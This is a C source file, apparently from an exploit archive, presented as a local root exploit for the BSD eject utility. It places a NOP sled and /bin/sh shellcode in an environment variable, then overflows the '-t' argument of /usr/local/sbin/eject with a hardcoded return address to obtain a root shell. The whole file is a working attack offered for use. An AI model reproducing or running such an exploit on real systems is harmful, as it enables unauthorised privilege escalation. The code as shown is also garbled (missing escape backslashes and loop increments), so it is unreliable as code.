// ejecsploit.c - local root exploit for bsd's eject.c

// harry

// vuln found by kokanin (you 31337!!! ;))

// thanks to sacrine and all the other netric guys!!! you rule :)

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#define LEN 1264

#define NOP 0x90

extern char** environ;

int main(){

char buf[LEN];

char* ptr;

char* arg[4];

unsigned int ret, i;

char shellcode[]="xebx17x5bx31xc0x88x43x07x89x5bx08x89"

"x43x0cx50x8dx53x08x52x53xb0x3bx50xcd"

"x80xe8xe4xffxffxff/bin/sh";

// hardcoded... too boneidle to fix this

ret = 0xbfbfee16;

char envshell[4096];

ptr = envshell;

for (i = 0; i < 4096 - strlen(shellcode) - 1; i ) *(ptr ) = NOP;

for (i = 0; i < strlen(shellcode); i ) *(ptr ) = shellcode;

*(ptr) = 0x0;

memcpy (envshell, "BLEH=",5);

putenv(envshell);

memset (buf, 0x41, sizeof(buf));

buf[LEN-5] = (char) ( 0x000000ff & ret);

buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);

buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);

buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);

buf[LEN-1] = 0x0;

arg[0] = "/usr/local/sbin/eject";

arg[1] = "-t";

arg[2] = buf;

arg[3] = NULL;

execve (arg[0], arg, environ);

return 0;

}